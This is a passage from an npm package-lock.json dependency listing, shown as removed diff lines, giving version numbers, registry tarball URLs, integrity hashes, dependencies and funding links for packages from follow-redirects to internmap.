- "resolved": "https://registry.npmjs.org/follow-redirects/-/follow-redirects-1.15.9.tgz",
- "integrity": "sha512-gew4GsXizNgdoRyqmyfMHyAmXsZDk6mHkSxZFCzW9gwlbtOW44CDtYavM+y+72qD/Vq2l550kMF52DT8fOLJqQ==",
- "funding": [
- {
- "type": "individual",
- "url": "https://github.com/sponsors/RubenVerborgh"
- }
- ],
- "engines": {
- "node": ">=4.0"
- },
- "peerDependenciesMeta": {
- "debug": {
- "optional": true
- }
- }
- },
- "node_modules/for-each": {
- "version": "0.3.3",
- "resolved": "https://registry.npmjs.org/for-each/-/for-each-0.3.3.tgz",
- "integrity": "sha512-jqYfLp7mo9vIyQf8ykW2v7A+2N4QjeCeI5+Dz9XraiO1ign81wjiH7Fb9vSOWvQfNtmSa4H2RoQTrrXivdUZmw==",
- "dependencies": {
- "is-callable": "^1.1.3"
- }
- },
- "node_modules/foreground-child": {
- "version": "3.3.0",
- "resolved": "https://registry.npmjs.org/foreground-child/-/foreground-child-3.3.0.tgz",
- "integrity": "sha512-Ld2g8rrAyMYFXBhEqMz8ZAHBi4J4uS1i/CxGMDnjyFWddMXLVcDp051DZfu+t7+ab7Wv6SMqpWmyFIj5UbfFvg==",
- "dependencies": {
- "cross-spawn": "^7.0.0",
- "signal-exit": "^4.0.1"
- },
- "engines": {
- "node": ">=14"
- },
- "funding": {
- "url": "https://github.com/sponsors/isaacs"
- }
- },
- "node_modules/form-data": {
- "version": "4.0.4",
- "resolved": "https://registry.npmjs.org/form-data/-/form-data-4.0.4.tgz",
- "integrity": "sha512-KrGhL9Q4zjj0kiUt5OO4Mr/A/jlI2jDYs5eHBpYHPcBEVSiipAvn2Ko2HnPe20rmcuuvMHNdZFp+4IlGTMF0Ow==",
- "license": "MIT",
- "dependencies": {
- "asynckit": "^0.4.0",
- "combined-stream": "^1.0.8",
- "es-set-tostringtag": "^2.1.0",
- "hasown": "^2.0.2",
- "mime-types": "^2.1.12"
- },
- "engines": {
- "node": ">= 6"
- }
- },
- "node_modules/format": {
- "version": "0.2.2",
- "resolved": "https://registry.npmjs.org/format/-/format-0.2.2.tgz",
- "integrity": "sha512-wzsgA6WOq+09wrU1tsJ09udeR/YZRaeArL9e1wPbFg3GG2yDnC2ldKpxs4xunpFF9DgqCqOIra3bc1HWrJ37Ww==",
- "engines": {
- "node": ">=0.4.x"
- }
- },
- "node_modules/fraction.js": {
- "version": "4.3.7",
- "resolved": "https://registry.npmjs.org/fraction.js/-/fraction.js-4.3.7.tgz",
- "integrity": "sha512-ZsDfxO51wGAXREY55a7la9LScWpwv9RxIrYABrlvOFBlH/ShPnrtsXeuUIfXKKOVicNxQ+o8JTbJvjS4M89yew==",
- "engines": {
- "node": "*"
- },
- "funding": {
- "type": "patreon",
- "url": "https://github.com/sponsors/rawify"
- }
- },
- "node_modules/fs.realpath": {
- "version": "1.0.0",
- "resolved": "https://registry.npmjs.org/fs.realpath/-/fs.realpath-1.0.0.tgz",
- "integrity": "sha512-OO0pH2lK6a0hZnAdau5ItzHPI6pUlvI7jMVnxUQRtw4owF2wk8lOSabtGDCTP4Ggrg2MbGnWO9X8K1t4+fGMDw=="
- },
- "node_modules/fsevents": {
- "version": "2.3.3",
- "resolved": "https://registry.npmjs.org/fsevents/-/fsevents-2.3.3.tgz",
- "integrity": "sha512-5xoDfX+fL7faATnagmWPpbFtwh/R77WmMMqqHGS65C3vvB0YHrgF+B1YmZ3441tMj5n63k0212XNoJwzlhffQw==",
- "hasInstallScript": true,
- "optional": true,
- "os": [
- "darwin"
- ],
- "engines": {
- "node": "^8.16.0 || ^10.6.0 || >=11.0.0"
- }
- },
- "node_modules/function-bind": {
- "version": "1.1.2",
- "resolved": "https://registry.npmjs.org/function-bind/-/function-bind-1.1.2.tgz",
- "integrity": "sha512-7XHNxH7qX9xG5mIwxkhumTox/MIRNcOgDrxWsMt2pAr23WHp6MrRlN7FBSFpCpr+oVO0F744iUgR82nJMfG2SA==",
- "funding": {
- "url": "https://github.com/sponsors/ljharb"
- }
- },
- "node_modules/function.prototype.name": {
- "version": "1.1.6",
- "resolved": "https://registry.npmjs.org/function.prototype.name/-/function.prototype.name-1.1.6.tgz",
- "integrity": "sha512-Z5kx79swU5P27WEayXM1tBi5Ze/lbIyiNgU3qyXUOf9b2rgXYyF9Dy9Cx+IQv/Lc8WCG6L82zwUPpSS9hGehIg==",
- "dependencies": {
- "call-bind": "^1.0.2",
- "define-properties": "^1.2.0",
- "es-abstract": "^1.22.1",
- "functions-have-names": "^1.2.3"
- },
- "engines": {
- "node": ">= 0.4"
- },
- "funding": {
- "url": "https://github.com/sponsors/ljharb"
- }
- },
- "node_modules/functions-have-names": {
- "version": "1.2.3",
- "resolved": "https://registry.npmjs.org/functions-have-names/-/functions-have-names-1.2.3.tgz",
- "integrity": "sha512-xckBUXyTIqT97tq2x2AMb+g163b5JFysYk0x4qxNFwbfQkmNZoiRHb6sPzI9/QV33WeuvVYBUIiD4NzNIyqaRQ==",
- "funding": {
- "url": "https://github.com/sponsors/ljharb"
- }
- },
- "node_modules/get-intrinsic": {
- "version": "1.3.0",
- "resolved": "https://registry.npmjs.org/get-intrinsic/-/get-intrinsic-1.3.0.tgz",
- "integrity": "sha512-9fSjSaos/fRIVIp+xSJlE6lfwhES7LNtKaCBIamHsjr2na1BiABJPo0mOjjz8GJDURarmCPGqaiVg5mfjb98CQ==",
- "license": "MIT",
- "dependencies": {
- "call-bind-apply-helpers": "^1.0.2",
- "es-define-property": "^1.0.1",
- "es-errors": "^1.3.0",
- "es-object-atoms": "^1.1.1",
- "function-bind": "^1.1.2",
- "get-proto": "^1.0.1",
- "gopd": "^1.2.0",
- "has-symbols": "^1.1.0",
- "hasown": "^2.0.2",
- "math-intrinsics": "^1.1.0"
- },
- "engines": {
- "node": ">= 0.4"
- },
- "funding": {
- "url": "https://github.com/sponsors/ljharb"
- }
- },
- "node_modules/get-nonce": {
- "version": "1.0.1",
- "resolved": "https://registry.npmjs.org/get-nonce/-/get-nonce-1.0.1.tgz",
- "integrity": "sha512-FJhYRoDaiatfEkUK8HKlicmu/3SGFD51q3itKDGoSTysQJBnfOcxU5GxnhE1E6soB76MbT0MBtnKJuXyAx+96Q==",
- "engines": {
- "node": ">=6"
- }
- },
- "node_modules/get-proto": {
- "version": "1.0.1",
- "resolved": "https://registry.npmjs.org/get-proto/-/get-proto-1.0.1.tgz",
- "integrity": "sha512-sTSfBjoXBp89JvIKIefqw7U2CCebsc74kiY6awiGogKtoSGbgjYE/G/+l9sF3MWFPNc9IcoOC4ODfKHfxFmp0g==",
- "license": "MIT",
- "dependencies": {
- "dunder-proto": "^1.0.1",
- "es-object-atoms": "^1.0.0"
- },
- "engines": {
- "node": ">= 0.4"
- }
- },
- "node_modules/get-symbol-description": {
- "version": "1.0.2",
- "resolved": "https://registry.npmjs.org/get-symbol-description/-/get-symbol-description-1.0.2.tgz",
- "integrity": "sha512-g0QYk1dZBxGwk+Ngc+ltRH2IBp2f7zBkBMBJZCDerh6EhlhSR6+9irMCuT/09zD6qkarHUSn529sK/yL4S27mg==",
- "dependencies": {
- "call-bind": "^1.0.5",
- "es-errors": "^1.3.0",
- "get-intrinsic": "^1.2.4"
- },
- "engines": {
- "node": ">= 0.4"
- },
- "funding": {
- "url": "https://github.com/sponsors/ljharb"
- }
- },
- "node_modules/get-tsconfig": {
- "version": "4.8.1",
- "resolved": "https://registry.npmjs.org/get-tsconfig/-/get-tsconfig-4.8.1.tgz",
- "integrity": "sha512-k9PN+cFBmaLWtVz29SkUoqU5O0slLuHJXt/2P+tMVFT+phsSGXGkp9t3rQIqdz0e+06EHNGs3oM6ZX1s2zHxRg==",
- "dependencies": {
- "resolve-pkg-maps": "^1.0.0"
- },
- "funding": {
- "url": "https://github.com/privatenumber/get-tsconfig?sponsor=1"
- }
- },
- "node_modules/github-slugger": {
- "version": "2.0.0",
- "resolved": "https://registry.npmjs.org/github-slugger/-/github-slugger-2.0.0.tgz",
- "integrity": "sha512-IaOQ9puYtjrkq7Y0Ygl9KDZnrf/aiUJYUpVf89y8kyaxbRG7Y1SrX/jaumrv81vc61+kiMempujsM3Yw7w5qcw=="
- },
- "node_modules/glob": {
- "version": "7.1.7",
- "resolved": "https://registry.npmjs.org/glob/-/glob-7.1.7.tgz",
- "integrity": "sha512-OvD9ENzPLbegENnYP5UUfJIirTg4+XwMWGaQfQTY0JenxNvvIKP3U3/tAQSPIu/lHxXYSZmpXlUHeqAIdKzBLQ==",
- "deprecated": "Glob versions prior to v9 are no longer supported",
- "dependencies": {
- "fs.realpath": "^1.0.0",
- "inflight": "^1.0.4",
- "inherits": "2",
- "minimatch": "^3.0.4",
- "once": "^1.3.0",
- "path-is-absolute": "^1.0.0"
- },
- "engines": {
- "node": "*"
- },
- "funding": {
- "url": "https://github.com/sponsors/isaacs"
- }
- },
- "node_modules/glob-parent": {
- "version": "6.0.2",
- "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-6.0.2.tgz",
- "integrity": "sha512-XxwI8EOhVQgWp6iDL+3b0r86f4d6AX6zSU55HfB4ydCEuXLXc5FcYeOu+nnGftS4TEju/11rt4KJPTMgbfmv4A==",
- "dependencies": {
- "is-glob": "^4.0.3"
- },
- "engines": {
- "node": ">=10.13.0"
- }
- },
- "node_modules/globals": {
- "version": "13.24.0",
- "resolved": "https://registry.npmjs.org/globals/-/globals-13.24.0.tgz",
- "integrity": "sha512-AhO5QUcj8llrbG09iWhPU2B204J1xnPeL8kQmVorSsy+Sjj1sk8gIyh6cUocGmH4L0UuhAJy+hJMRA4mgA4mFQ==",
- "dependencies": {
- "type-fest": "^0.20.2"
- },
- "engines": {
- "node": ">=8"
- },
- "funding": {
- "url": "https://github.com/sponsors/sindresorhus"
- }
- },
- "node_modules/globalthis": {
- "version": "1.0.4",
- "resolved": "https://registry.npmjs.org/globalthis/-/globalthis-1.0.4.tgz",
- "integrity": "sha512-DpLKbNU4WylpxJykQujfCcwYWiV/Jhm50Goo0wrVILAv5jOr9d+H+UR3PhSCD2rCCEIg0uc+G+muBTwD54JhDQ==",
- "dependencies": {
- "define-properties": "^1.2.1",
- "gopd": "^1.0.1"
- },
- "engines": {
- "node": ">= 0.4"
- },
- "funding": {
- "url": "https://github.com/sponsors/ljharb"
- }
- },
- "node_modules/globby": {
- "version": "11.1.0",
- "resolved": "https://registry.npmjs.org/globby/-/globby-11.1.0.tgz",
- "integrity": "sha512-jhIXaOzy1sb8IyocaruWSn1TjmnBVs8Ayhcy83rmxNJ8q2uWKCAj3CnJY+KpGSXCueAPc0i05kVvVKtP1t9S3g==",
- "dependencies": {
- "array-union": "^2.1.0",
- "dir-glob": "^3.0.1",
- "fast-glob": "^3.2.9",
- "ignore": "^5.2.0",
- "merge2": "^1.4.1",
- "slash": "^3.0.0"
- },
- "engines": {
- "node": ">=10"
- },
- "funding": {
- "url": "https://github.com/sponsors/sindresorhus"
- }
- },
- "node_modules/gopd": {
- "version": "1.2.0",
- "resolved": "https://registry.npmjs.org/gopd/-/gopd-1.2.0.tgz",
- "integrity": "sha512-ZUKRh6/kUFoAiTAtTYPZJ3hw9wNxx+BIBOijnlG9PnrJsCcSjs1wyyD6vJpaYtgnzDrKYRSqf3OO6Rfa93xsRg==",
- "engines": {
- "node": ">= 0.4"
- },
- "funding": {
- "url": "https://github.com/sponsors/ljharb"
- }
- },
- "node_modules/graceful-fs": {
- "version": "4.2.11",
- "resolved": "https://registry.npmjs.org/graceful-fs/-/graceful-fs-4.2.11.tgz",
- "integrity": "sha512-RbJ5/jmFcNNCcDV5o9eTnBLJ/HszWV0P73bc+Ff4nS/rJj+YaS6IGyiOL0VoBYX+l1Wrl3k63h/KrH+nhJ0XvQ=="
- },
- "node_modules/graphemer": {
- "version": "1.4.0",
- "resolved": "https://registry.npmjs.org/graphemer/-/graphemer-1.4.0.tgz",
- "integrity": "sha512-EtKwoO6kxCL9WO5xipiHTZlSzBm7WLT627TqC/uVRd0HKmq8NXyebnNYxDoBi7wt8eTWrUrKXCOVaFq9x1kgag=="
- },
- "node_modules/has-bigints": {
- "version": "1.0.2",
- "resolved": "https://registry.npmjs.org/has-bigints/-/has-bigints-1.0.2.tgz",
- "integrity": "sha512-tSvCKtBr9lkF0Ex0aQiP9N+OpV4zi2r/Nee5VkRDbaqv35RLYMzbwQfFSZZH0kR+Rd6302UJZ2p/bJCEoR3VoQ==",
- "funding": {
- "url": "https://github.com/sponsors/ljharb"
- }
- },
- "node_modules/has-flag": {
- "version": "4.0.0",
- "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz",
- "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==",
- "engines": {
- "node": ">=8"
- }
- },
- "node_modules/has-property-descriptors": {
- "version": "1.0.2",
- "resolved": "https://registry.npmjs.org/has-property-descriptors/-/has-property-descriptors-1.0.2.tgz",
- "integrity": "sha512-55JNKuIW+vq4Ke1BjOTjM2YctQIvCT7GFzHwmfZPGo5wnrgkid0YQtnAleFSqumZm4az3n2BS+erby5ipJdgrg==",
- "dependencies": {
- "es-define-property": "^1.0.0"
- },
- "funding": {
- "url": "https://github.com/sponsors/ljharb"
- }
- },
- "node_modules/has-proto": {
- "version": "1.2.0",
- "resolved": "https://registry.npmjs.org/has-proto/-/has-proto-1.2.0.tgz",
- "integrity": "sha512-KIL7eQPfHQRC8+XluaIw7BHUwwqL19bQn4hzNgdr+1wXoU0KKj6rufu47lhY7KbJR2C6T6+PfyN0Ea7wkSS+qQ==",
- "dependencies": {
- "dunder-proto": "^1.0.0"
- },
- "engines": {
- "node": ">= 0.4"
- },
- "funding": {
- "url": "https://github.com/sponsors/ljharb"
- }
- },
- "node_modules/has-symbols": {
- "version": "1.1.0",
- "resolved": "https://registry.npmjs.org/has-symbols/-/has-symbols-1.1.0.tgz",
- "integrity": "sha512-1cDNdwJ2Jaohmb3sg4OmKaMBwuC48sYni5HUw2DvsC8LjGTLK9h+eb1X6RyuOHe4hT0ULCW68iomhjUoKUqlPQ==",
- "engines": {
- "node": ">= 0.4"
- },
- "funding": {
- "url": "https://github.com/sponsors/ljharb"
- }
- },
- "node_modules/has-tostringtag": {
- "version": "1.0.2",
- "resolved": "https://registry.npmjs.org/has-tostringtag/-/has-tostringtag-1.0.2.tgz",
- "integrity": "sha512-NqADB8VjPFLM2V0VvHUewwwsw0ZWBaIdgo+ieHtK3hasLz4qeCRjYcqfB6AQrBggRKppKF8L52/VqdVsO47Dlw==",
- "dependencies": {
- "has-symbols": "^1.0.3"
- },
- "engines": {
- "node": ">= 0.4"
- },
- "funding": {
- "url": "https://github.com/sponsors/ljharb"
- }
- },
- "node_modules/hasown": {
- "version": "2.0.2",
- "resolved": "https://registry.npmjs.org/hasown/-/hasown-2.0.2.tgz",
- "integrity": "sha512-0hJU9SCPvmMzIBdZFqNPXWa6dqh7WdH0cII9y+CyS8rG3nL48Bclra9HmKhVVUHyPWNH5Y7xDwAB7bfgSjkUMQ==",
- "dependencies": {
- "function-bind": "^1.1.2"
- },
- "engines": {
- "node": ">= 0.4"
- }
- },
- "node_modules/hast-util-from-parse5": {
- "version": "8.0.2",
- "resolved": "https://registry.npmjs.org/hast-util-from-parse5/-/hast-util-from-parse5-8.0.2.tgz",
- "integrity": "sha512-SfMzfdAi/zAoZ1KkFEyyeXBn7u/ShQrfd675ZEE9M3qj+PMFX05xubzRyF76CCSJu8au9jgVxDV1+okFvgZU4A==",
- "dependencies": {
- "@types/hast": "^3.0.0",
- "@types/unist": "^3.0.0",
- "devlop": "^1.0.0",
- "hastscript": "^9.0.0",
- "property-information": "^6.0.0",
- "vfile": "^6.0.0",
- "vfile-location": "^5.0.0",
- "web-namespaces": "^2.0.0"
- },
- "funding": {
- "type": "opencollective",
- "url": "https://opencollective.com/unified"
- }
- },
- "node_modules/hast-util-heading-rank": {
- "version": "3.0.0",
- "resolved": "https://registry.npmjs.org/hast-util-heading-rank/-/hast-util-heading-rank-3.0.0.tgz",
- "integrity": "sha512-EJKb8oMUXVHcWZTDepnr+WNbfnXKFNf9duMesmr4S8SXTJBJ9M4Yok08pu9vxdJwdlGRhVumk9mEhkEvKGifwA==",
- "dependencies": {
- "@types/hast": "^3.0.0"
- },
- "funding": {
- "type": "opencollective",
- "url": "https://opencollective.com/unified"
- }
- },
- "node_modules/hast-util-is-element": {
- "version": "3.0.0",
- "resolved": "https://registry.npmjs.org/hast-util-is-element/-/hast-util-is-element-3.0.0.tgz",
- "integrity": "sha512-Val9mnv2IWpLbNPqc/pUem+a7Ipj2aHacCwgNfTiK0vJKl0LF+4Ba4+v1oPHFpf3bLYmreq0/l3Gud9S5OH42g==",
- "dependencies": {
- "@types/hast": "^3.0.0"
- },
- "funding": {
- "type": "opencollective",
- "url": "https://opencollective.com/unified"
- }
- },
- "node_modules/hast-util-parse-selector": {
- "version": "4.0.0",
- "resolved": "https://registry.npmjs.org/hast-util-parse-selector/-/hast-util-parse-selector-4.0.0.tgz",
- "integrity": "sha512-wkQCkSYoOGCRKERFWcxMVMOcYE2K1AaNLU8DXS9arxnLOUEWbOXKXiJUNzEpqZ3JOKpnha3jkFrumEjVliDe7A==",
- "dependencies": {
- "@types/hast": "^3.0.0"
- },
- "funding": {
- "type": "opencollective",
- "url": "https://opencollective.com/unified"
- }
- },
- "node_modules/hast-util-raw": {
- "version": "9.1.0",
- "resolved": "https://registry.npmjs.org/hast-util-raw/-/hast-util-raw-9.1.0.tgz",
- "integrity": "sha512-Y8/SBAHkZGoNkpzqqfCldijcuUKh7/su31kEBp67cFY09Wy0mTRgtsLYsiIxMJxlu0f6AA5SUTbDR8K0rxnbUw==",
- "dependencies": {
- "@types/hast": "^3.0.0",
- "@types/unist": "^3.0.0",
- "@ungap/structured-clone": "^1.0.0",
- "hast-util-from-parse5": "^8.0.0",
- "hast-util-to-parse5": "^8.0.0",
- "html-void-elements": "^3.0.0",
- "mdast-util-to-hast": "^13.0.0",
- "parse5": "^7.0.0",
- "unist-util-position": "^5.0.0",
- "unist-util-visit": "^5.0.0",
- "vfile": "^6.0.0",
- "web-namespaces": "^2.0.0",
- "zwitch": "^2.0.0"
- },
- "funding": {
- "type": "opencollective",
- "url": "https://opencollective.com/unified"
- }
- },
- "node_modules/hast-util-to-estree": {
- "version": "3.1.1",
- "resolved": "https://registry.npmjs.org/hast-util-to-estree/-/hast-util-to-estree-3.1.1.tgz",
- "integrity": "sha512-IWtwwmPskfSmma9RpzCappDUitC8t5jhAynHhc1m2+5trOgsrp7txscUSavc5Ic8PATyAjfrCK1wgtxh2cICVQ==",
- "dependencies": {
- "@types/estree": "^1.0.0",
- "@types/estree-jsx": "^1.0.0",
- "@types/hast": "^3.0.0",
- "comma-separated-tokens": "^2.0.0",
- "devlop": "^1.0.0",
- "estree-util-attach-comments": "^3.0.0",
- "estree-util-is-identifier-name": "^3.0.0",
- "hast-util-whitespace": "^3.0.0",
- "mdast-util-mdx-expression": "^2.0.0",
- "mdast-util-mdx-jsx": "^3.0.0",
- "mdast-util-mdxjs-esm": "^2.0.0",
- "property-information": "^6.0.0",
- "space-separated-tokens": "^2.0.0",
- "style-to-object": "^1.0.0",
- "unist-util-position": "^5.0.0",
- "zwitch": "^2.0.0"
- },
- "funding": {
- "type": "opencollective",
- "url": "https://opencollective.com/unified"
- }
- },
- "node_modules/hast-util-to-jsx-runtime": {
- "version": "2.3.2",
- "resolved": "https://registry.npmjs.org/hast-util-to-jsx-runtime/-/hast-util-to-jsx-runtime-2.3.2.tgz",
- "integrity": "sha512-1ngXYb+V9UT5h+PxNRa1O1FYguZK/XL+gkeqvp7EdHlB9oHUG0eYRo/vY5inBdcqo3RkPMC58/H94HvkbfGdyg==",
- "dependencies": {
- "@types/estree": "^1.0.0",
- "@types/hast": "^3.0.0",
- "@types/unist": "^3.0.0",
- "comma-separated-tokens": "^2.0.0",
- "devlop": "^1.0.0",
- "estree-util-is-identifier-name": "^3.0.0",
- "hast-util-whitespace": "^3.0.0",
- "mdast-util-mdx-expression": "^2.0.0",
- "mdast-util-mdx-jsx": "^3.0.0",
- "mdast-util-mdxjs-esm": "^2.0.0",
- "property-information": "^6.0.0",
- "space-separated-tokens": "^2.0.0",
- "style-to-object": "^1.0.0",
- "unist-util-position": "^5.0.0",
- "vfile-message": "^4.0.0"
- },
- "funding": {
- "type": "opencollective",
- "url": "https://opencollective.com/unified"
- }
- },
- "node_modules/hast-util-to-parse5": {
- "version": "8.0.0",
- "resolved": "https://registry.npmjs.org/hast-util-to-parse5/-/hast-util-to-parse5-8.0.0.tgz",
- "integrity": "sha512-3KKrV5ZVI8if87DVSi1vDeByYrkGzg4mEfeu4alwgmmIeARiBLKCZS2uw5Gb6nU9x9Yufyj3iudm6i7nl52PFw==",
- "dependencies": {
- "@types/hast": "^3.0.0",
- "comma-separated-tokens": "^2.0.0",
- "devlop": "^1.0.0",
- "property-information": "^6.0.0",
- "space-separated-tokens": "^2.0.0",
- "web-namespaces": "^2.0.0",
- "zwitch": "^2.0.0"
- },
- "funding": {
- "type": "opencollective",
- "url": "https://opencollective.com/unified"
- }
- },
- "node_modules/hast-util-to-string": {
- "version": "3.0.1",
- "resolved": "https://registry.npmjs.org/hast-util-to-string/-/hast-util-to-string-3.0.1.tgz",
- "integrity": "sha512-XelQVTDWvqcl3axRfI0xSeoVKzyIFPwsAGSLIsKdJKQMXDYJS4WYrBNF/8J7RdhIcFI2BOHgAifggsvsxp/3+A==",
- "dependencies": {
- "@types/hast": "^3.0.0"
- },
- "funding": {
- "type": "opencollective",
- "url": "https://opencollective.com/unified"
- }
- },
- "node_modules/hast-util-whitespace": {
- "version": "3.0.0",
- "resolved": "https://registry.npmjs.org/hast-util-whitespace/-/hast-util-whitespace-3.0.0.tgz",
- "integrity": "sha512-88JUN06ipLwsnv+dVn+OIYOvAuvBMy/Qoi6O7mQHxdPXpjy+Cd6xRkWwux7DKO+4sYILtLBRIKgsdpS2gQc7qw==",
- "dependencies": {
- "@types/hast": "^3.0.0"
- },
- "funding": {
- "type": "opencollective",
- "url": "https://opencollective.com/unified"
- }
- },
- "node_modules/hastscript": {
- "version": "9.0.0",
- "resolved": "https://registry.npmjs.org/hastscript/-/hastscript-9.0.0.tgz",
- "integrity": "sha512-jzaLBGavEDKHrc5EfFImKN7nZKKBdSLIdGvCwDZ9TfzbF2ffXiov8CKE445L2Z1Ek2t/m4SKQ2j6Ipv7NyUolw==",
- "dependencies": {
- "@types/hast": "^3.0.0",
- "comma-separated-tokens": "^2.0.0",
- "hast-util-parse-selector": "^4.0.0",
- "property-information": "^6.0.0",
- "space-separated-tokens": "^2.0.0"
- },
- "funding": {
- "type": "opencollective",
- "url": "https://opencollective.com/unified"
- }
- },
- "node_modules/highlight.js": {
- "version": "10.7.3",
- "resolved": "https://registry.npmjs.org/highlight.js/-/highlight.js-10.7.3.tgz",
- "integrity": "sha512-tzcUFauisWKNHaRkN4Wjl/ZA07gENAjFl3J/c480dprkGTg5EQstgaNFqBfUqCq54kZRIEcreTsAgF/m2quD7A==",
- "engines": {
- "node": "*"
- }
- },
- "node_modules/highlightjs-vue": {
- "version": "1.0.0",
- "resolved": "https://registry.npmjs.org/highlightjs-vue/-/highlightjs-vue-1.0.0.tgz",
- "integrity": "sha512-PDEfEF102G23vHmPhLyPboFCD+BkMGu+GuJe2d9/eH4FsCwvgBpnc9n0pGE+ffKdph38s6foEZiEjdgHdzp+IA=="
- },
- "node_modules/html-entities": {
- "version": "2.5.2",
- "resolved": "https://registry.npmjs.org/html-entities/-/html-entities-2.5.2.tgz",
- "integrity": "sha512-K//PSRMQk4FZ78Kyau+mZurHn3FH0Vwr+H36eE0rPbeYkRRi9YxceYPhuN60UwWorxyKHhqoAJl2OFKa4BVtaA==",
- "funding": [
- {
- "type": "github",
- "url": "https://github.com/sponsors/mdevils"
- },
- {
- "type": "patreon",
- "url": "https://patreon.com/mdevils"
- }
- ]
- },
- "node_modules/html-url-attributes": {
- "version": "3.0.1",
- "resolved": "https://registry.npmjs.org/html-url-attributes/-/html-url-attributes-3.0.1.tgz",
- "integrity": "sha512-ol6UPyBWqsrO6EJySPz2O7ZSr856WDrEzM5zMqp+FJJLGMW35cLYmmZnl0vztAZxRUoNZJFTCohfjuIJ8I4QBQ==",
- "funding": {
- "type": "opencollective",
- "url": "https://opencollective.com/unified"
- }
- },
- "node_modules/html-void-elements": {
- "version": "3.0.0",
- "resolved": "https://registry.npmjs.org/html-void-elements/-/html-void-elements-3.0.0.tgz",
- "integrity": "sha512-bEqo66MRXsUGxWHV5IP0PUiAWwoEjba4VCzg0LjFJBpchPaTfyfCKTG6bc5F8ucKec3q5y6qOdGyYTSBEvhCrg==",
- "funding": {
- "type": "github",
- "url": "https://github.com/sponsors/wooorm"
- }
- },
- "node_modules/ieee754": {
- "version": "1.2.1",
- "resolved": "https://registry.npmjs.org/ieee754/-/ieee754-1.2.1.tgz",
- "integrity": "sha512-dcyqhDvX1C46lXZcVqCpK+FtMRQVdIMN6/Df5js2zouUsqG7I6sFxitIC+7KYK29KdXOLHdu9zL4sFnoVQnqaA==",
- "funding": [
- {
- "type": "github",
- "url": "https://github.com/sponsors/feross"
- },
- {
- "type": "patreon",
- "url": "https://www.patreon.com/feross"
- },
- {
- "type": "consulting",
- "url": "https://feross.org/support"
- }
- ],
- "license": "BSD-3-Clause"
- },
- "node_modules/ignore": {
- "version": "5.3.2",
- "resolved": "https://registry.npmjs.org/ignore/-/ignore-5.3.2.tgz",
- "integrity": "sha512-hsBTNUqQTDwkWtcdYI2i06Y/nUBEsNEDJKjWdigLvegy8kDuJAS8uRlpkkcQpyEXL0Z/pjDy5HBmMjRCJ2gq+g==",
- "engines": {
- "node": ">= 4"
- }
- },
- "node_modules/immutable": {
- "version": "5.0.3",
- "resolved": "https://registry.npmjs.org/immutable/-/immutable-5.0.3.tgz",
- "integrity": "sha512-P8IdPQHq3lA1xVeBRi5VPqUm5HDgKnx0Ru51wZz5mjxHr5n3RWhjIpOFU7ybkUxfB+5IToy+OLaHYDBIWsv+uw=="
- },
- "node_modules/import-fresh": {
- "version": "3.3.0",
- "resolved": "https://registry.npmjs.org/import-fresh/-/import-fresh-3.3.0.tgz",
- "integrity": "sha512-veYYhQa+D1QBKznvhUHxb8faxlrwUnxseDAbAp457E0wLNio2bOSKnjYDhMj+YiAq61xrMGhQk9iXVk5FzgQMw==",
- "dependencies": {
- "parent-module": "^1.0.0",
- "resolve-from": "^4.0.0"
- },
- "engines": {
- "node": ">=6"
- },
- "funding": {
- "url": "https://github.com/sponsors/sindresorhus"
- }
- },
- "node_modules/imurmurhash": {
- "version": "0.1.4",
- "resolved": "https://registry.npmjs.org/imurmurhash/-/imurmurhash-0.1.4.tgz",
- "integrity": "sha512-JmXMZ6wuvDmLiHEml9ykzqO6lwFbof0GG4IkcGaENdCRDDmMVnny7s5HsIgHCbaq0w2MyPhDqkhTUgS2LU2PHA==",
- "engines": {
- "node": ">=0.8.19"
- }
- },
- "node_modules/inflight": {
- "version": "1.0.6",
- "resolved": "https://registry.npmjs.org/inflight/-/inflight-1.0.6.tgz",
- "integrity": "sha512-k92I/b08q4wvFscXCLvqfsHCrjrF7yiXsQuIVvVE7N82W3+aqpzuUdBbfhWcy/FZR3/4IgflMgKLOsvPDrGCJA==",
- "deprecated": "This module is not supported, and leaks memory. Do not use it. Check out lru-cache if you want a good and tested way to coalesce async requests by a key value, which is much more comprehensive and powerful.",
- "dependencies": {
- "once": "^1.3.0",
- "wrappy": "1"
- }
- },
- "node_modules/inherits": {
- "version": "2.0.4",
- "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz",
- "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ=="
- },
- "node_modules/inline-style-parser": {
- "version": "0.2.4",
- "resolved": "https://registry.npmjs.org/inline-style-parser/-/inline-style-parser-0.2.4.tgz",
- "integrity": "sha512-0aO8FkhNZlj/ZIbNi7Lxxr12obT7cL1moPfE4tg1LkX7LlLfC6DeX4l2ZEud1ukP9jNQyNnfzQVqwbwmAATY4Q=="
- },
- "node_modules/input-otp": {
- "version": "1.4.1",
- "resolved": "https://registry.npmjs.org/input-otp/-/input-otp-1.4.1.tgz",
- "integrity": "sha512-+yvpmKYKHi9jIGngxagY9oWiiblPB7+nEO75F2l2o4vs+6vpPZZmUl4tBNYuTCvQjhvEIbdNeJu70bhfYP2nbw==",
- "peerDependencies": {
- "react": "^16.8 || ^17.0 || ^18.0 || ^19.0.0 || ^19.0.0-rc",
- "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0.0 || ^19.0.0-rc"
- }
- },
- "node_modules/internal-slot": {
- "version": "1.1.0",
- "resolved": "https://registry.npmjs.org/internal-slot/-/internal-slot-1.1.0.tgz",
- "integrity": "sha512-4gd7VpWNQNB4UKKCFFVcp1AVv+FMOgs9NKzjHKusc8jTMhd5eL1NqQqOpE0KzMds804/yHlglp3uxgluOqAPLw==",
- "dependencies": {
- "es-errors": "^1.3.0",
- "hasown": "^2.0.2",
- "side-channel": "^1.1.0"
- },
- "engines": {
- "node": ">= 0.4"
- }
- },
- "node_modules/internmap": {
- "version": "2.0.3",
- "resolved": "https://registry.npmjs.org/internmap/-/internmap-2.0.3.tgz",
- "integrity": "sha512-5Hh7Y1wQbvY5ooGgPbDaL5iYLAPzMTUrjMulskHLH6wnv/A+1q5rgEaiuqEjB+oxGXIVZs1FF+R/KPN3ZSQYYg==",
- "engines": {
- "node": ">=12"
